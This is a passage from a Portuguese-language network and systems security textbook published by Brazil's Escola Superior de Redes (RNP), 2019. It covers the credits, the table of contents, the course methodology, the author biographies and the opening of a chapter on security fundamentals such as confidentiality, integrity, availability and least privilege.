Você está na página 1de 202

Sobre a RNP – qualificada como uma

Organização Social (OS), a Rede Nacional


de Ensino e Pesquisa (RNP) é vinculada
ao Ministério da Ciência, Tecnologia,
Inovação e Comunicações (MCTIC) e
mantida por esse, em conjunto com
os ministérios da Educação (MEC),
Cidadania, Saúde (MS) e Defesa
(MD), que participam do Programa
Interministerial RNP (PI-RNP). Pioneira

O aluno aprenderá a implementar uma solução com- Segurança no acesso à internet no Brasil, a RNP
planeja, opera e mantém a rede Ipê,
infraestrutura óptica nacional acadêmica

LIVRO DE APOIO AO CURSO


de Redes

Segurança de Redes e Sistemas


pleta de proteção de redes, utilizando técnicas como de alto desempenho. Com Pontos de
firewall, IDS, IPS e VPN. O amplo escopo de conceitos Presença em 27 unidades da federação,
abordados permitirá a aplicação das técnicas de auten- a rede conecta 1.174 campi e unidades

ticação e autorização seguras, auditorias de segurança nas capitais e no interior. São mais de

e Sistemas
4 milhões de usuários, usufruindo de
e de requisitos de configuração segura de servidores
uma infraestrutura de redes avançadas
Linux e Windows. Após o curso, o aluno será capaz de para comunicação, computação e
montar um perímetro seguro, aumentar a segurança experimentação, que contribui para a
dos servidores da rede, realizar auditorias de segurança integração dos sistemas de Ciência e
e implantar sistemas de autenticação seguros. Tecnologia, Educação Superior, Saúde,

Este livro inclui os roteiros das atividades práticas e o Ivo de Carvalho Peixinho Cultura e Defesa.
Saiba mais em https://rnp.br.
conteúdo dos slides apresentados em sala de aula,
apoiando profissionais na disseminação deste conheci- Francisco Marmo da Fonseca
mento em suas organizações ou localidades de origem.
Francisco Marcelo Lima

ISBN 978-85-63630-13-1

9 788563 630131
Sobre a RNP – qualificada como uma
Organização Social (OS), a Rede Nacional
de Ensino e Pesquisa (RNP) é vinculada
ao Ministério da Ciência, Tecnologia,
Inovação e Comunicações (MCTIC) e
mantida por esse, em conjunto com
os ministérios da Educação (MEC),
Cidadania, Saúde (MS) e Defesa
(MD), que participam do Programa
Interministerial RNP (PI-RNP). Pioneira
no acesso à internet no Brasil, a RNP
planeja, opera e mantém a rede Ipê,
infraestrutura óptica nacional acadêmica
de alto desempenho. Com Pontos de
Presença em 27 unidades da federação,
a rede conecta 1.174 campi e unidades
nas capitais e no interior. São mais de
4 milhões de usuários, usufruindo de
uma infraestrutura de redes avançadas
para comunicação, computação e
experimentação, que contribui para a
integração dos sistemas de Ciência e
Tecnologia, Educação Superior, Saúde,
Cultura e Defesa.
Saiba mais em https://rnp.br.
Segurança de
Redes e Sistemas

Ivo de Carvalho Peixinho


Francisco Marmo da Fonseca
Francisco Marcelo Marques Lima
Segurança de
Redes e Sistemas

Ivo de Carvalho Peixinho


Francisco Marmo da Fonseca
Francisco Marcelo Marques Lima

Rio de Janeiro
Escola Superior de Redes
2019
Copyright © 2019 – Rede Nacional de Ensino e Pesquisa – RNP
Rua Lauro Müller, 116 sala 1103
22290-906 Rio de Janeiro, RJ

Diretor Geral
Nelson Simões

Diretor de Serviços e Soluções


José Luiz Ribeiro Filho

Escola Superior de Redes


Diretor Adjunto
Leandro Marcos de Oliveira Guimarães

Edição
Lincoln da Mata

Revisão técnica
Felipe Brant Scarel

Especialista da Área de Segurança


Francisco Marcelo Marques Lima

Equipe ESR (em ordem alfabética)


Adriana Pierro, Alessandra Silva, Alessandra Souza, Camila Gomes, Célia Maciel, Elimária Barbosa,
Evellyn Feitosa, Felipe Nascimento, Lourdes Soncin, Luciana Batista, Márcia Corrêa, Márcia Rodri-
gues, Monique Souza, Renato Duarte, Thays Farias, Thyago Alves e Yve Marcial.

Capa, projeto visual e diagramação


Tecnodesign

Versão
3.0.0

Este material didático foi elaborado com fins educacionais. Solicitamos que qualquer erro encon-
trado ou dúvida com relação ao material ou seu uso seja enviado para a equipe de elaboração de
conteúdo da Escola Superior de Redes, no e-mail info@esr.rnp.br. A Rede Nacional de Ensino e
Pesquisa e os autores não assumem qualquer responsabilidade por eventuais danos ou perdas, a
pessoas ou bens, originados do uso deste material.
As marcas registradas mencionadas neste material pertencem aos respectivos titulares.

Distribuição
Escola Superior de Redes
Rua Lauro Müller, 116 – sala 1103
22290-906 Rio de Janeiro, RJ
http://esr.rnp.br
info@esr.rnp.br

Dados Internacionais de Catalogação na Publicação (CIP)

W380p PEIXINHO, Ivo de Carvalho


Segurança de Redes e Sistemas/ Ivo de Carvalho Peixinho, Felipe Brant Scarel. –
3. ed. – Rio de Janeiro: RNP/ESR, 2019.

176 p. : il. ; 27,5 cm.

ISBN 978-85-63630-13-1

1. Planejamento estratégico – Processamento de dados. 2. Sistemas de


informação gerencial. 3. Tecnologia da informação – gestão. I. Título.

CDD 658.4012
Sumário

Escola Superior de Redes

A metodologia da ESR xi

Sobre o curso  xii

A quem se destina xii

Convenções utilizadas neste livro xiii

Permissões de uso xiii

Sobre o autor xiv

1. Fundamentos de segurança
Introdução 1

Exercício de nivelamento 1 — Fundamentos de segurança 2

Conceitos básicos de segurança 2

Confidencialidade 3

Integridade  4

Disponibilidade  4

Exercício de fixação 1 — Conceitos 6

Processo de Tratamento de Resposta a Incidentes 6

Ciclo de vida de um incidente 7

Grupos de resposta a incidentes 8

Exercício de fixação 2 — Processo de tratamento de incidentes 10

Exercício de fixação 3 — Grupo de resposta a incidentes 10

Normas ISO/ABNT 11

Políticas de segurança 13

Exercício de fixação 4 — Políticas de segurança 15

Planejando uma rede segura 15

iii
2. Explorando vulnerabilidades em redes
Introdução 17

Exercício de nivelamento 1 — Explorando vulnerabilidades em redes 17

Penetration Test 18

Testes de penetração 18

Técnicas de ataque  18

Packet Sniffing 20

Exercício de fixação 1 — Penetration Test 20

Exercício de fixação 2 — Packet sniffing 20

Nmap 21

Exercício de fixação 3 — Nmap 23

Hping 23

ARP Spoofing 24

IP Spoofing 24

Fragmentação de pacotes IP 25

Ataques de negação de serviço 26

Ataques de SYN flood 27

Ataque Smurf 28

Varredura  29

Exercício de fixação 3 — IP Spoofing 30

Exercício de fixação 4 — DoS 30

Alguns tipos de ataques 31

Exercício de fixação 5 — Alguns tipos de ataque 34

Msfvenom 37

Kali Linux 38

3. Firewall – Conceitos e implementação


Introdução 41

Exercício de nivelamento 1 — Firewall 41

Firewall 42

Tecnologias de firewall 42

Exercício de fixação 1 — Filtros de pacotes 45

Exercício de fixação 2 — Servidores proxy 45

Topologias de firewall 46

Exercício de fixação 3 — Topologias de firewall 48

Exercício de fixação 4 — Screened Subnet 48

Implementação de firewalls 49

Netfilter (Iptables) 49

iv
Implementação do Netfilter 50

Modo de operação do Netfilter 51

Exercício de fixação 5 — Netfilter 53

Controle perimetral  53

Tradução de IP (NAT) 55

SNAT  55

DNAT  55

NAT Dinâmico  56

Packet Filter (PF)  56

Ativação  56

Controle  56

Configuração  57

pfSense 57

Endian 59

4. Serviços básicos de segurança


Introdução 63

Exercício de nivelamento 1 — Serviços básicos de segurança 63

Gerenciamento de logs 64

Syslog-ng 64

Source  64

Destination  64

Log Paths  64

Filter  64

Syslog-ng como agente  67

Syslog-ng como servidor  67

Exercício de fixação 1 — Gerenciamento de logs 68

Exercício de fixação 2 — Syslog 68

Logs do Windows 68

Correlacionamento de eventos 68

Serviço de hora 70

Exercício de fixação 3 — Logs do Windows 71

Exercício de fixação 4 — NTP 71

Monitoramento de serviços 72

Nagios 72

Zabbix 73

Cacti 74

v
Ntop  75

Avaliação das ferramentas 76

Vantagens do Cacti 77

5. Detecção e prevenção de intrusos


Introdução 79

Exercício de nivelamento 1 — Detecção e prevenção de intrusos 79

Sistemas de Detecção de Intrusos (IDS) 79

Quanto ao modo de funcionamento 80

Quanto ao local de atuação 81

Exercício de fixação 1 — IDS 81

Sistemas de Prevenção de Intrusos (IPS) 81

Exercício de fixação 2 — IPS 82

Sistemas de Detecção de Intrusos em hosts (HIDS) 82

Exercício de fixação 3 — HIDS 83

Snort  83

Instalação do Snort 85

Configuração do Snort 86

Regras do Snort 87

Pulledpork 89

Barnyard2 90

Bro Intrusion Detection System 90

6. Autenticação, autorização e certificação digital


Introdução 91

Exercício de nivelamento 1 — Autenticação e autorização 91

Sistema AAA 91

Autenticação 92

Autorização 92

Auditoria 92

Exercício de fixação 1 — Sistema AAA 93

Criptografia 93

Criptografia simétrica 94

Criptografia assimétrica 94

Tamanho das chaves 95

vi
Algoritmos de Hash 96

Modos de operação de algoritmos criptográficos 96

Exercício de fixação 2 — Criptografia 97

Exercício de fixação 3 — Algoritmos hash 97

Certificados digitais 97

Autoridades certificadoras 98

Obtendo certificado de usuário 98

Revogando o certificado do usuário 99

Exercício de fixação 4 — Certificados digitais 99

Gerenciamento de senhas 99

Sistema de senhas Linux 99

Valor do SALT 100

Exercício de fixação 5 — Sistema de senhas Linux 101

Exercício de fixação 6 — SALT 101

Sistema de senhas Windows 101

Administrando as senhas 102

Treinamento do usuário  102

Requisitos de complexidade  103

Exercício de fixação 7 — Sistema de senhas no Windows 103

Sistemas de Autenticação Única 103

OTP 103

S/Key 103

Smart Card 104

Servidores de diretório: LDAP 105

Serviço de diretório 105

Exercício de fixação 8 — LDAP 105

Exercício de fixação 9 — Serviço de diretórios 106

Tipos de informação 106

Protocolo Kerberos  106

Kerberos no Windows 108

Acesso a serviços em uma rede 108

Benefícios do Kerberos 109

Organização do Kerberos 110

Exercício de fixação 10 — Kerberos 110

Trilhas de auditoria  110

Geração dos dados 111

Criptomoedas 112

Características centrais 113

Blockchain 113

vii
7. Redes Privadas Virtuais
Exercício de nivelamento 1 — Redes Privadas Virtuais 115

VPN 115

Usos para VPNs 117

VPN PPTP 118

L2TP  119

IPSec 119

Exercício de fixação 1 — VPN 120

Exercício de fixação 2 — IPSec 121

Modos de operação do IPSec 121

Protocolos IPSec 122

Exercício de fixação 3 — IPSec 124

VPN SSL 124

Exercício de fixação 4 — VPN SSL 125

Interceptação de tráfego SSL 125

8. Auditoria de Segurança da Informação


Introdução 129

Exercício de nivelamento 1 — Auditoria de Segurança da Informação 129

Análise de vulnerabilidades 130

Exercício de fixação 1 — Análise de vulnerabilidades 130

Instalação do Nessus 131

Auditoria com o Nessus 132

Iniciando a varredura 132

Exemplo de auditoria em firewall 134

Arquitetura do firewal 134

Testando o firewall 135

Testando as regras do firewall 135

Exercício de fixação 1 — Arquitetura do firewall 138

Exercício de fixação 2 — Testando o firewall 138

Alertas e registros 139

9. Configuração segura de servidores Windows


Introdução 141

Exercício de nivelamento 1 — Configuração segura de servidores Windows 141

Necessidade de configuração de um bastion host 142

Exercício de fixação 1 — Bastion host 142

viii
Check-list 142

Configuração de filtros de pacotes 143

Exercício de fixação 2 — Configuração de filtros de pacotes 147

Criação de uma linha base de segurança (baseline) 147

Desabilitando serviços desnecessários 147

Exercício de fixação 3 — Baseline 150

Ferramentas de análise da segurança do Windows 150

WMIC 150

Sysinternals 151

WSUS 152

MBSA  154

Microsoft Security Compliance Manager 154

Exercício de fixação 4 — Microsoft Security Compliance Manager 157

Sistemas de arquivos e gerenciamento de usuários 157

Group Policy Objects 158

Exercício de fixação 5 — Group Policy Objects (GPO) 160

Políticas de usuários e de computador 160

Heranças de GPO 161

Diretivas de segurança local 162

Diretiva de senhas 163

Diretiva de auditoria 164

Atribuição de direitos de usuários 165

Opções de segurança 165

10. Configuração segura de servidores Linux


Introdução 167

Exercício de nivelamento 1 — Configuração segura de servidores Linux 168

Instalação do Linux 168

Desabilitando serviços desnecessários 169

Exercício de fixação 1 — Desabilitando serviços desnecessários 171

Pacotes e programas 172

Configuração segura de serviços 174

Usuários sem privilégios  174

Chroot  174

Desabilitar funcionalidades desnecessárias  174

Exercício de fixação 2 — Configuração segura de serviços 175

ix
Acessos administrativos 175

Ferramentas de segurança de servidores 177

Testes de configuração e auditoria 177

Exercício de fixação 3 — Acessos administrativos 177

Atualização do Sistema Operacional 177

Pacotes compilados 178

Sistema de arquivos proc 179

Bibliografia  181

x
Escola Superior de Redes
A Escola Superior de Redes (ESR) é a unidade da Rede Nacional de Ensino e Pesquisa (RNP)
responsável pela disseminação do conhecimento em Tecnologias da Informação e Comunica-
ção (TIC). A ESR nasce com a proposta de ser a formadora e disseminadora de competências
em TIC para o corpo técnico-administrativo das universidades federais, escolas técnicas e
unidades federais de pesquisa. Sua missão fundamental é realizar a capacitação técnica do
corpo funcional das organizações usuárias da RNP, para o exercício de competências aplicá-
veis ao uso eficaz e eficiente das TIC.

A ESR oferece dezenas de cursos distribuídos nas áreas temáticas: Administração de Siste-
mas, Administração e Projeto de Redes, Desenvolvimento de Sistemas, Governança de TI,
Gestão de Identidade, Mídias de Suporte à Colaboração Digital e Segurança.

A ESR também participa de diversos projetos de interesse público, como a elaboração e


execução de planos de capacitação para formação de multiplicadores para projetos edu-
cacionais como: formação no uso da conferência web para a Universidade Aberta do Brasil
(UAB), formação do suporte técnico de laboratórios do Proinfo e criação de um conjunto de
cartilhas sobre redes sem fio para o programa Um Computador por Aluno (UCA).

A metodologia da ESR
A filosofia pedagógica e a metodologia que orientam os cursos da ESR são baseadas na
aprendizagem como construção do conhecimento por meio da resolução de problemas típi-
cos da realidade do profissional em formação. Os resultados obtidos nos cursos de natureza
teórico-prática são otimizados, pois o instrutor, auxiliado pelo material didático, atua não
apenas como expositor de conceitos e informações, mas principalmente como orientador do
aluno na execução de atividades contextualizadas nas situações do cotidiano profissional.

A aprendizagem é entendida como a resposta do aluno ao desafio de situações-problema


semelhantes às encontradas na prática profissional, que são superadas por meio de análise,
síntese, julgamento, pensamento crítico e construção de hipóteses para a resolução do pro-
blema, em abordagem orientada ao desenvolvimento de competências.

Dessa forma, o instrutor tem participação ativa e dialógica como orientador do aluno para as
atividades em laboratório. Até mesmo a apresentação da teoria no início da sessão de apren-
dizagem não é considerada uma simples exposição de conceitos e informações. O instrutor
busca incentivar a participação dos alunos continuamente.

xi
As sessões de aprendizagem onde se dão a apresentação dos conteúdos e a realização das
atividades práticas têm formato presencial e essencialmente prático, utilizando técnicas de
estudo dirigido individual, trabalho em equipe e práticas orientadas para o contexto de atua-
ção do futuro especialista que se pretende formar.

As sessões de aprendizagem desenvolvem-se em três etapas, com predominância de tempo


para as atividades práticas, conforme descrição a seguir:

Primeira etapa: apresentação da teoria e esclarecimento de dúvidas (de 60 a 90 minutos).


O instrutor apresenta, de maneira sintética, os conceitos teóricos correspondentes ao tema
da sessão de aprendizagem, com auxílio de slides em formato PowerPoint. O instrutor levanta
questões sobre o conteúdo dos slides em vez de apenas apresentá-los, convidando a turma
à reflexão e participação. Isso evita que as apresentações sejam monótonas e que o aluno se
coloque em posição de passividade, o que reduziria a aprendizagem..

Segunda etapa: atividades práticas de aprendizagem (de 120 a 150 minutos).


Esta etapa é a essência dos cursos da ESR. A maioria das atividades dos cursos é assíncrona e
realizada em duplas de alunos, que acompanham o ritmo do roteiro de atividades proposto no
livro de apoio. Instrutor e monitor circulam entre as duplas para solucionar dúvidas e oferecer
explicações complementares.

Terceira etapa: discussão das atividades realizadas (30 minutos).


O instrutor comenta cada atividade, apresentando uma das soluções possíveis para resolvê-la,
devendo ater-se àquelas que geram maior dificuldade e polêmica. Os alunos são convidados a
comentar as soluções encontradas e o instrutor retoma tópicos que tenham gerado dúvidas,
estimulando a participação dos alunos. O instrutor sempre estimula os alunos a encontrarem
soluções alternativas às sugeridas por ele e pelos colegas e, caso existam, a comentá-las.

Sobre o curso
O aluno aprenderá sobre perímetros de segurança, através da implementação de uma
solução completa de proteção de redes, utilizando técnicas como firewall, IDS, IPS e VPN.
O amplo escopo de conceitos abordados permitirá a aplicação das técnicas seguras de
autenticação e autorização, auditorias de segurança e requisitos de configuração de servi-
dores Linux e Windows. Após o curso, o aluno será capaz de montar um perímetro seguro,
aumentar a segurança dos servidores da rede, realizar auditorias de segurança e implantar
sistemas de autenticação seguros.

A quem se destina
Profissionais de TI que desejam adquirir ou atualizar os seus conhecimentos sobre segu-
rança de redes e sistemas a fim de garantir melhor aplicabilidade das práticas de segurança
da informação em suas organizações.

xii
Convenções utilizadas neste livro
As seguintes convenções tipográficas são usadas neste livro:

Itálico
Indica nomes de arquivos e referências bibliográficas relacionadas ao longo do texto.

Comandos ou Código fonte

Indica comandos e suas opções, variáveis e atributos, conteúdo de arquivos e resultado da saída
de comandos.

Janela do tipo terminal

Trechos que não são código (programa fonte) e sim o resultado apresentado no monitor do
computador após a execução de um comando. Em geral dizemos que é o output apresentado
numa janela do tipo terminal.

Símbolo !
Indica um aviso ou precaução a ser considerada.

Símbolo p
Indica questionamentos que estimulam a reflexão ou apresenta conteúdo de apoio ao
entendimento do tema em questão.

Símbolo l
Indica notas e informações complementares como dicas, sugestões de leitura adicional ou
mesmo uma observação.

Símbolo
Indica um documento ou arquivo disponível no Ambiente Virtual de Aprendizagem – AVA
que pode ser utilizado como referência complementar.

Símbolo
Indica atividade a ser executada no Ambiente Virtual de Aprendizagem – AVA.

Permissões de uso
Todos os direitos reservados à RNP.
Agradecemos sempre citar esta fonte quando incluir parte deste livro em outra obra.
Exemplo de citação: PEIXOTO, Arthur Mendes; LIMA, Lucas Torres. Introdução ao Linux. Rio de
Janeiro: Escola Superior de Redes, 2013.

Comentários e perguntas
Para enviar comentários e perguntas sobre esta publicação:
Escola Superior de Redes RNP
Endereço: Av. Lauro Müller 116 sala 1103 – Botafogo
Rio de Janeiro – RJ – 22290-906
E-mail: info@esr.rnp.br

xiii
Sobre o autor
Ivo de Carvalho Peixinho é Bacharel em Ciência da Computação pela UFBA e Especialista
em Gestão de Segurança da Informação pela UnB. Possui mais de 15 anos de experiência
na área de Segurança da Informação. Foi Diretor Técnico na XSite Consultoria e Tecnologia,
Analista de Suporte na Universidade Federal da Bahia. Em 2004 atuou como Analista de
Segurança Sênior no CAIS/RNP por dois anos e atualmente é Perito Criminal Federal do
Departamento de Polícia Federal desde 2007, lotado atualmente no Serviço de Repressão a
Crimes Cibernéticos - SRCC/CGPFAZ/DICOR/DPF. É professor de pós-graduação nas discipli-
nas de Análise Forense em Sistemas UNIX e Análise de Malware e é palestrante em diversos
eventos nacionais e internacionais como GTS, Seginfo, CNASI, ICCyber e FIRST.

Francisco Marmo da Fonseca é bacharel em Engenharia da Computação pelo Instituto de


Educação Superior de Brasília e pós-graduando em Perícia Digital pela Universidade Cató-
lica de Brasília. Iniciou sua atuação em Redes como bolsista pesquisador do Projeto de Pes-
quisa REMAV-GO (1997-1999), financiado pela RNP e CNPq. Possui 14 anos de experiência
na área de Redes de Computadores, atua como engenheiro consultor de Redes há 5 anos,
sendo os últimos 3 anos na Layer2 do Brasil em clientes como Departamento de Polícia
Federal, IG e Oi. Tem passagens pela Serasa (2006-2008) como consultor no Banco Central
na Rede do Sistema Financeiro Nacional, e na Brasil Telecom (2002-2007) como analista de
Operações de Redes IP.

Francisco Marcelo Marques Lima é certificado Project Management Professional (PMP) e


Modulo Certified Security Officer (MCSO), Mestre em Engenharia Elétrica pela Universidade
de Brasília (2009), Mestre em Liderança pela Universidade de Santo Amaro (2007) e pós-
-graduado em Segurança de Redes de Computadores pela Universidade Católica de Brasília
(2003). Atualmente exerce as funções de Coordenador dos Cursos de Redes de Computado-
res e Segurança da Informação do IESB e Analista em TI do MPOG cedido para a Controla-
doria- -Geral da União/PR. Atua, também, como instrutor/revisor dos cursos de segurança
e redes na RNP e instrutor/revisor dos cursos de planejamento estratégico (PDTI) e gestão
de contratos de TI (GCTI) na ENAP. Possui mais de 15 anos de experiência na área de Ciência
da Computação com ênfase em Segurança da Informação, Redes e Construção de Software
tendo exercido funções como: Coordenador Geral de TI do INCRA (DAS 4); Coordenador
do Curso de Segurança da Informação da Faculdade Rogacionista; Coordenador do Curso
de Processamento de Dados e Segurança da Informação da Faculdade AD1, Analista em
Segurança da empresa Módulo Security Solutions.

Felipe Brant Scarel é bacharel em Ciência da Computação pela Universidade de


Brasília/UnB (2009) e pós-graduado em Administração de Empresas pela Fundação
Getúlio Vargas/FGV (2017). Possui mais de 15 anos de experiência em infraestrutura de
sistemas e cerca de 10 anos de experiência em segurança da informação. Atuou como
administrador de sistemas e redes no CPD/UnB, CDTC/ITI, nos projetos REID e Casa Brasil
e como analista de segurança da informação no SICOOB Confederação. Atualmente
atua como consultor independente e sócio-diretor da GrafIT Consultoria, atendendo
clientes como o Cebraspe (Centro Brasileiro de Pesquisa em Avaliação e Seleção e de
Promoção de Eventos), CNJ (Conselho Nacional de Justiça), CNPq (Conselho Nacional
de Desenvolvimento Científico e Tecnológico) e Algar Tech. É instrutor e conteudista da
Escola Superior de Redes/RNP desde 2015.

xiv
1
Fundamentos de segurança
objetivos

Apresentar ao aluno fundamentos de segurança como estratégias, estágios do


ciclo de vida de incidentes, grupos de resposta a incidentes e normas de políticas
de segurança.

conceitos
Confidencialidade, integridade, disponibilidade, autenticidade, legalidade,
não repúdio e privacidade, entre outros.

Introdução
A Segurança da Informação (SI) é uma área em constante evolução, que se desenvolveu
muito nos últimos anos, com a criação de normas e certificações internacionais, além de
aumento expressivo no número de profissionais dedicados. O profissional que pretende
atuar nessa área deve estar ciente de que ela é bastante dinâmica e envolve diversos
setores da computação, como programação e desenvolvimento de sistemas, redes de
computadores, sistemas operacionais e bancos de dados, entre outras. Quanto mais
conhecimento o profissional de SI possuir, mais capacidade terá de desempenhar seu papel.
Apesar de todos esses avanços, a SI ainda é uma área nova, e a cada dia novas subáreas e
conceitos são descobertos e incorporados.

Para este curso, considera-se que o aluno completou o curso de Introdução à Segurança
de Redes e já possui uma noção sobre segurança de redes, incluindo a família de proto-
colos TCP/IP, além de noções de administração de servidores Linux e Windows. Este curso
terá enfoque mais prático, com foco na área de redes e sistemas operacionais. Ao final do
curso, o aluno deve ser capaz de compreender e utilizar os conceitos e ferramentas de
segurança de redes, de modo a projetar e configurar uma rede com nível de segurança
Capítulo 1 - Fundamentos de segurança

aceitável, além de ser capaz de aumentar o nível de segurança dos sistemas operacionais
mais utilizados no mercado através de configurações mais seguras dos sistemas e serviços
desses sistemas operacionais.

Por fim, é importante que o aluno tenha consciência de que este é um curso prático e
progressivo, com atividades práticas fundamentais e interdependentes, de modo que uma
atividade de uma sessão é pré-requisito para as atividades das sessões seguintes. O aluno
deve investir nas atividades práticas para finalizá-las completamente; caso contrário, poderá
não obter o aproveitamento desejado.

1
Exercício de nivelamento 1 e
Fundamentos de segurança
O que você entende por segurança da informação?

Como sua organização trata a área de segurança da informação?

Conceitos básicos de segurança


O profissional de segurança deve ter sempre em mente alguns conceitos básicos, que
nortearão o seu trabalho no dia a dia. Ele deve pensar de forma diferente do tradicional,
pois para ele não é suficiente apenas o recurso ou serviço estar funcionando: é preciso estar
funcionando de forma segura. Podemos citar como exemplo o desenvolvimento de uma
aplicação web. Neste exemplo dispomos de diversos componentes que devem funcionar de
forma integrada. Podemos citar então:

11 Servidores físicos (hardware).

11 Sistemas operacionais dos servidores.

11 Servidor de aplicação.

11 Servidor HTTP.

11 Aplicação web.

11 Servidor de banco de dados.

11 Segurança do hardware dos servidores.

11 Segurança do Sistema Operacional.

11 Segurança da aplicação através de testes de penetração.

11 Segurança da rede de comunicação.

Aqui estamos tratando de um exemplo didático, pois uma aplicação comercial em produção
poderá ter outros componentes, como redundância, sistemas de gerenciamento, sistemas
de avaliação de desempenho das aplicações e ambientes de virtualização, entre outros.

Para o desenvolvedor, a preocupação maior é com o bom funcionamento da aplicação. Hoje


existem alguns padrões de desenvolvimento seguro, boas práticas e informações sobre os
problemas de segurança mais comuns desse tipo de aplicação. Porém, o desenvolvedor
Segurança de Redes e Sistemas

normalmente possui prazos a cumprir e nem sempre tem experiência suficiente no


desenvolvimento de código seguro. A equipe de suporte possui a preocupação de alocar
recursos suficientes para a operação da aplicação, de acordo com a carga esperada.

A equipe de homologação e testes muitas vezes está apenas preocupada com o bom
funcionamento da aplicação em condições normais de operação. O profissional de
segurança, por outro lado, está preocupado com a segurança da aplicação, o que envolve a
segurança de cada um dos componentes envolvidos:

2
11 Segurança do hardware dos servidores, com garantia de fornecimento de energia através
de fontes redundantes, nobreaks, geradores e até servidores redundantes.

11 Segurança do Sistema Operacional, do servidor de aplicação e do servidor web, através


da configuração segura, retirada de serviços desnecessários, aplicação das últimas
correções de segurança do fabricante, filtragem de portas desnecessárias, entre outros.

11 Segurança da aplicação através de testes de penetração, avaliação das possíveis


vulnerabilidades, análise do código, entre outros.

11 Segurança da rede de comunicação, com avaliação da possibilidade de ataques de


negação de serviço pela rede, ataques a protocolos, entre outros.

11 O profissional de segurança deve ter formação diversificada:

11 Segurança de redes, wireless e sistemas operacionais.

11 Testes de invasão (pentest).

11 Análise forense computacional.

11 Tratamento de incidentes de segurança.

11 Desenvolvimento de aplicações seguras.

11 Segurança de aplicações.

O profissional de segurança deve ter profundo conhecimento em questões de segurança


física de computadores, segurança de sistemas operacionais, serviços e aplicações web,
atuando com responsabilidade e sempre buscando níveis mais profundos de conhecimento.

Atualmente, com o aumento da complexidade dos sistemas de informação, está cada vez
mais difícil um único profissional abranger todo esse conhecimento, de forma que começam
a surgir profissionais especializados em determinadas áreas da segurança. Áreas como
segurança de redes wireless, testes de invasão (pen-test), análise forense computacional,
tratamento de incidentes de segurança e desenvolvimento de aplicações seguras são
apenas alguns exemplos de especializações encontradas no mercado nos dias de hoje.

Entre os conhecimentos que um profissional de segurança deve possuir, talvez o conceito


mais básico corresponda à sigla CID (Confidencialidade, Integridade e Disponibilidade), que é
derivada do inglês CIA (Confidentiality, Integrity and Availability). Ela é o pilar de toda a área
Incidente de segurança de SI, de modo que um incidente de segurança é caracterizado quando uma dessas áreas é
Pode ser definido afetada. A seguir, veremos em detalhes cada um desses itens.
como qualquer evento
adverso, confirmado ou
sob suspeita, relacio- Os fundamentos de segurança são confidencialidade, integridade e disponibilidade.
nado à segurança de
sistemas de compu-
tação ou de redes de Confidencialidade
computadores.
Capítulo 1 - Fundamentos de segurança

É um termo diretamente ligado à privacidade de um recurso. Um recurso deve estar


acessível apenas para a pessoa ou grupo que foi definido como usuário autorizado para
dispor daquele acesso, e nenhum outro. Por exemplo, as notas de um aluno devem ser
acessadas somente pelo aluno, pelos professores das disciplinas cursadas por ele e pela
equipe de registro acadêmico.

3
Integridade
Possui duas definições: a primeira relacionada com o fato de a informação ter valor correto; por
exemplo, no resultado da correção de uma prova, a nota obtida foi avaliada por um professor
com conhecimento da disciplina e, portanto, apto para julgar o conteúdo. A segunda definição
está ligada à inviolabilidade da informação, ou seja, a nota não pode ser alterada sem justifica-
tiva e por meio controlado. A nota não pode “sumir” ou ser simplesmente alterada.

Disponibilidade
O termo está relacionado ao acesso à informação, que pode ser controlada ou não, e dis-
ponível quando necessária. Um ataque de negação de serviço pode, por exemplo, evitar o
acesso à informação, afetando a disponibilidade.

É importante notar que a disponibilidade e a integridade podem ser medidas de forma


simples, visto que elas são perceptíveis pelos usuários da informação. A confidencialidade,
por outro lado, pode ser quebrada sem que se tenha conhecimento do fato, pois a simples
visualização de uma informação por um usuário não autorizado não necessariamente altera
essa informação. Daí a importância da auditoria, onde são analisados os registros de acesso
de determinada informação, com o objetivo de verificar se houve acesso indevido. A audi-
toria será tratada na sessão de aprendizagem 8.

Observe, ainda, que existem três dimensões completamente distintas: duas delas, a confi-
dencialidade e a integridade, são valores boolianos: ou a informação se manteve confidencial
ou não; ou a informação se manteve íntegra ou não. A terceira é um número real entre 0 e 1,
podendo ser calculada pela própria definição. Duas podem ser monitoradas e medidas: a inte-
gridade e a disponibilidade. Não temos como saber se um dado perdeu confidencialidade.

A literatura moderna inclui ainda mais alguns conceitos, que muitas vezes são considerados
auxiliares aos três já listados. São eles:

11 Autenticidade: garantia de que uma informação, produto ou documento foi elaborado


ou distribuído pelo autor a quem se atribui.

11 Legalidade: garantia de que ações sejam realizadas em conformidade com os preceitos


legais vigentes e que seus produtos tenham validade jurídica.

11 Não repúdio: conceito muito utilizado quando tratamos de certificação digital, onde o
emissor de uma mensagem não pode negar que a enviou. As tecnologias de certificação
digital e assinatura digital são exemplos que propiciam essa condição.

11 Privacidade: conceito amplo, que expressa a habilidade de um indivíduo em controlar


a exposição e a disponibilidade de informações acerca de si. Com o crescimento dos
mecanismos de busca, bancos de dados e informações publicadas na internet e nas redes
sociais, esse conceito tem sido muito discutido em fóruns específicos. Um exercício interes-
sante que o aluno pode realizar é buscar o seu próprio nome no site de buscas do Google.
Segurança de Redes e Sistemas

É comum nos referirmos a esse conjunto de conceitos básicos como CID ou CIDAL, que
corresponde às iniciais de alguns dos conceitos apresentados. A sigla DICA ainda é usada em
referência aos quatro primeiros conceitos.

Além desses conceitos apresentados, o livro Building Internet Firewalls, de Elizabeth D.


Zwicky, Simon Cooper e D. Brent Chapman (editora O’Reilly), define ainda outros conceitos,
denominados de estratégias de segurança.

4
Esses conceitos são muito importantes, e o profissional de segurança deve sempre tê-los em
mente no seu dia a dia:

11 Least Privilege (Menor Privilégio): cada objeto deve ter apenas os privilégios mínimos
para executar suas tarefas, e nenhum outro. Apesar de muito importante, é difícil aplicar
esse conceito, pois muitas vezes ele envolve uma série de ajustes e um mínimo erro pode
fazer com que o recurso pare de funcionar. Como exemplo, podemos citar um servidor
web. Executar o processo do servidor como o usuário administrador provavelmente
fornecerá uma série de privilégios desnecessários a ele. Nesse caso, convém criar um
usuário específico (exemplo: httpd) e definir as permissões mínimas para que o serviço
funcione. Por exemplo: permissão de leitura na pasta onde ficam as páginas HTML e
permissão de leitura e gravação na pasta onde ficam os registros de acesso.

11 Defense In Depth (Defesa em Profundidade): não depender de um único mecanismo


de segurança, independente do quão forte ele possa parecer. Não existe nenhum
mecanismo 100% seguro, então qualquer mecanismo pode ser subvertido. Colocar
defesas redundantes pode ser uma boa estratégia, pois um atacante, ao passar por suas
defesas mais externas, ainda terá outras camadas de defesa para ultrapassar antes de
comprometer o sistema como um todo.

11 Choke Point (Ponto Único): canal estreito por onde os atacantes são forçados a passar,
